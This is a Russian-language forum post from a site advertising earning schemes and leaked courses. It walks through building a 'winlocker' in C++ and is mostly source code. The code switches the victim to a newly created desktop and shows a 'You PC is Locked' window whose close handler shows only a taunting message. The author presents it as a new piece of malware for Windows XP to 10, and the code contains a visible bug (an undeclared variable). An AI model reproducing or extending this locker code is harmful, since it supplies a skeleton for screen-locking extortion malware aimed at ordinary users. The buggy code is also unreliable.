• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Пишем чудный Winlocker (с++)

HideMan

Участник
Сообщения
12
Реакции
38
0 руб.
Telegram
Добрый день ребят, сегодня побеседуем на тему winloker’ов (далее wL).
Да, как вы заметили, обзавелся личным блогом, хоть и на бесплатной площадке (позже перенесу).

image-1.png

Все мы помним старые добрые 2006-2010 года когда wL были у каждого школьника, после такого всплеска популярности этот вид малвари я уже не мог называть таковой, так как не троян то что может использовать каждый. Да и АВ уже детектили в любом его виде . Сегодня же мы напишем новый(возможно для кого-то эта тема давно известна) winlock для windows xp — 10.

Инструменты:
— Visual Studio 2015-19 (я использую бета версию 2019)
— Прямые ручки (как обычно).

Вся информация предоставляется исключительно в ознакомительных целях. Автор не несет ответственности за любой возможный вред причиненный материалами данной статьи.



Запускаем студию, создаем пустой проект C++, в настройках проекта указываем точку входа WinMain и выбираем приложение как exe.

И так начнем. Первым делом подключаем инклуды:
C++:
#include <windows.h>
#include "WinCrash.h"
#include <gdiplus.h>
#include <stdio.h>

#pragma comment (lib, "gdiplus.lib")
//подключаем пространство имен
using namespace Gdiplus;

Объявим несколько переменных:
C++:
//ширина формы
#define widht 500
//высота формы
#define height 300
//наши десктопы (немного позже поймете для чего)
HDESK original_desktop, two_desktop;
//функция обратного вызова для формы
LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
//тут мы будем запускать наше окно с требованиями
int StartWindow(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow);
//немного покажу как рисовать в окнах
VOID OnPaint(HDC hdc);
//функция создания нового стола
HDESK CreateDesk(const char* desktop_name);

Переходим к нашей WinMain
C++:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)
{
//создаем новый рабочий стол с именем "111"(можно указать любое)
    two_desktop = CreateDesk("111");
//получаем HDESK оригинального стола (чтобы потом вернуться)
    original_desktop = GetThreadDesktop(GetCurrentThreadId());
//данная функция передает управление программой указанному столу
    SetThreadDesktop(two_desktop );
//открываем созданный рабочий стол
    SwitchDesktop(two_desktop );
//запускаем наше окно уже в новом столе
    StartWindow(hInstance, hPrevInstance, lpCmdLine, nCmdShow);
}

Опишем функцию CreateDesk()
C++:
HDESK CreateDesk(const char* desktop_name)
{
    HDESK desktop = NULL, original_desktop;
//пробуем открыть стол с таким названием
    desktop = OpenDesktopA(desktop_name, NULL, TRUE, GENERIC_ALL);
    if (!hidden_desktop)
    {
//если стола нет то создаем новый
        desktop = CreateDesktopA(desktop_name, NULL, NULL, 0, GENERIC_ALL, NULL);
        if (desktop)
        {
            original_desktop = GetThreadDesktop(GetCurrentThreadId());

        }
    }
    return desktop;
}

Теперь опишем функцию OnPaint()
C++:
VOID OnPaint(HDC hdc)
{
    Graphics    graphics(hdc);
    SolidBrush  brush(Color(200, 0, 0, 200)); //выбираем цвет нашей формы
    FontFamily  fontFamily(L"Times New Roman");//шрифт текста
    Font        font(&fontFamily, 24, FontStyleRegular, UnitPixel);
    PointF      pointF(10.0f, 20.0f);//позиция текста

    graphics.DrawString(L"You PC is Locked. Click on button to Unlock.", -1, &font, pointF, &brush);
}
Хочу заметить что позицию текста (x&y) нужно вымерять от верхнего левого угла КЛИЕНТСКОЙ части окна.

Следующая функция StartWindow() тут мы и будем создавать само окно
C++:
int StartWindow(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)
{
//про параметры WNDCLASSEX стоит почитать на мсдн ибо статья затянется.
    WNDCLASSEX windowClass;
    HWND hWnd;
    MSG uMsg;
    GdiplusStartupInput gdiplusStartupInput;
    ULONG_PTR gdiplusToken;

    memset(&windowClass, 0, sizeof(WNDCLASSEXW));
    windowClass.cbSize = sizeof(WNDCLASSEX);
    windowClass.hbrBackground = (HBRUSH)GetStockObject(GRAY_BRUSH);
    windowClass.hCursor = LoadCursor(NULL, IDC_ARROW);
    windowClass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    windowClass.hInstance = hInstance;
    windowClass.lpfnWndProc = WndProc;
    windowClass.lpszClassName = L"Simple Window";
    RegisterClassEx(&windowClass);
    GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
    hWnd = CreateWindow(windowClass.lpszClassName, L"You Locked", WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME | WS_MINIMIZEBOX | WS_MAXIMIZEBOX, (GetSystemMetrics(SM_CXSCREEN) - widht) / 2, (GetSystemMetrics(SM_CYSCREEN) - height) / 2, widht, height, NULL, NULL, NULL, NULL);

    ShowWindow(hWnd, nCmdShow);

    while (GetMessage(&uMsg, hWnd, NULL, NULL))
    {
        TranslateMessage(&uMsg);
        DispatchMessage(&uMsg);
    }
    return uMsg.wParam;
}

Ну и коллбек функция которая будет принимать сообщения (нажатия, отрисовка, клики, создание окно и т.д.)
C++:
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    HDC hDC;
    PAINTSTRUCT ps;
    switch (message)
    {
    case WM_CREATE://создаем кнопочку и назначаем ей ид 1
        CreateWindowA("BUTTON", "Unlock", WS_CHILD | WS_VISIBLE, 200, 220, 60, 30, hWnd, (HMENU)1, NULL, NULL);
        break;
    case WM_COMMAND://тут принимаем команды от контролов
        switch (wParam)
        {
        case 1://как мы помним 1 - это наша кнопка
                        //восстанавливаем оригинальный стол
            SwitchDesktop(original_desktop);
            ExitProcess(0);
            break;
        }
        break;
    case WM_CLOSE://сообщение при закрытии окна
                //будем выводить MessageBox
        MessageBoxA(hWnd, "Kiss my ass!", "", MB_OK);
        break;
    case WM_PAINT://сообщение рисования окна
        hDC = BeginPaint(hWnd, &ps);
        OnPaint(hDC);
        EndPaint(hWnd, &ps);
        break;
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
}
Ну что посмотрим что у нас вышло?

image.png

При нажатии кнопки Unlock выйдет на наш рабочий стол.
С вами был ваш @H1deMan
 
Последнее редактирование:

vedejaxaci

Новичок
Сообщения
1
Реакции
0
0 руб.
дружище делал на вижуал студио, не могу собрать пришлось зарегистрироватся. но телега не доступна есть контакты?
 
Сверху Снизу